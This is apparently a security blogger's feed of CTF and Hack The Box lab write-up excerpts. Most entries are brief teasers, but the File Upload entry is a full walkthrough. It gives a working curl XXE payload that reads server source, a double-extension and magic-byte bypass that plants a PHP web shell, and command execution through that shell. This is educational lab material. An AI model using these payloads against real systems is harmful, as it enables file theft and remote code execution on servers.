db1M.sh

API Attack Skill Assessment

Sun, 05 Jul 2026 08:36:42 -0400

We have a web application that should be secured than v0 and v1, and the question said that Submit the contents of the flag at '/flag.txt'. After seeing that the flag is in /flag.txt, I thought about searching for SSRF to LFI. This enable me to know the local files paths and get the flag.

GraphQL Skill Assessment

Sun, 21 Jun 2026 03:16:15 -0400

First explored the request and decided to see if the GraphiQL endpoint is enabled.

I started my test by sending an introspection query to know the relations between objects and queries.

File Inclusion Skill Assessment

Mon, 15 Jun 2026 08:36:42 -0400

The challenge description: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

CAT CTF 26 — Entry Level (Author Write-Ups)

Mon, 23 Mar 2026 00:00:00 +0000

Hello everyone, this is my first time being an author for a CTF competition. I created 6 web challenges, one misc challenge, and one Linux jail. It was a very exciting experience for me to have this opportunity.

Czechoslovakia XSS Challenge | Hackena Ramadan CTF

Sat, 14 Mar 2026 00:00:00 +0000

How I Exploited an XSS vulnerability in a filtered input parameter using the /a// bypass technique to steal the admin bot’s FLAG cookie through a webhook exfiltration.

No Notes CRLF Challenge | Hackena Ramadan CTF

Sat, 14 Mar 2026 00:00:00 +0000

How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements.

The Challenge That Said “No”
#

When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:

File Upload Skill Assessment

Thu, 15 Jan 2026 08:36:42 -0400

Inspecting the webapp and the functionalities found a submit flag functionality.
I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed.
I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php
I asked AI to create me a curl request to send a POST request to this endpoint.
I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed.
So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function.

curl -s -X POST "154.57.164.61:30775/contact/upload.php" \
 -F "uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml" \
 <<< '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php">]>
<svg xmlns="http://www.w3.org/2000/svg" width="500" height="500">
<text y="20">&xxe;</text>
</svg>'

The parameters of the payload got from the HTML code inspection:

<input name="uploadFile" id="uploadFile" type="file" class="custom-file-input" id="inputGroupFile02" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">

We got the source code encoded, after decoded, we knew the logic:

<?php require_once('./common-functions.php'); 
// uploaded files directory 
$target_dir = "./user_feedback_submissions/"; 
// rename before storing 
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; 
// get content headers 
$contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); 
// blacklist test 
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } 
// whitelist test 
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } 
// type test 
foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } 
// size test 
if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } i want to get the flag then

The code tells us the following:

Blacklist: blocks .php .phps .phtml
Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg
Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 
MIME: same regex check on actual file content
Upload dir: ./user_feedback_submissions/
The file is stored in the database with a unique schema --> DATE_Filename

I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code.
The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters.
To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –> \xff\xd8\xff\ ![[Pasted image 20260607022513.png]]
So the full request will be: ![[Pasted image 20260607022051.png]]
The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path:

http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls

The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE.
I search about flag in the entire system:

find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2>/dev/null

The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it.

SQL Injection Skill Assessment

Sun, 11 Jan 2026 01:53:01 -0400

We are tasked with a web application and assigned to perform a penetration test and exploit SQL injection vulnerability. Let’s goo and explore.

In first step after visiting the application we got a bad request.

Web Fuzzing Skill Assessment

Wed, 07 Jan 2026 08:36:42 -0400

Hello everyone

In this article, I’ll share my approach to solving the Web Fuzzing Skill Assessment on Hack The Box, sharing the methodology and tools I used along the way.

Information Gathering Skill Assessment

Mon, 05 Jan 2026 08:36:42 -0400

Hello everyone

In this article, I’ll share my approach to solving the Information Gathering skill assessment on Hack The Box, sharing the methodology and tools I used along the way.

BCACTF 2025 Write-Up

Tue, 24 Jun 2025 00:00:00 +0000

Misc Category
#

expletive
#

oh no! It seems like only some of the characters on my keyboard are working…

About

Mon, 01 Jan 0001 00:00:00 +0000

I’m Mohanad Edrees, also known as db1M—a penetration testing enthusiast and CTF player documenting what I learn through labs and hands-on security research.

This site is my public notebook. Write-ups focus on the full path to a solution: reconnaissance, failed assumptions, exploitation, and the lessons worth carrying into the next target.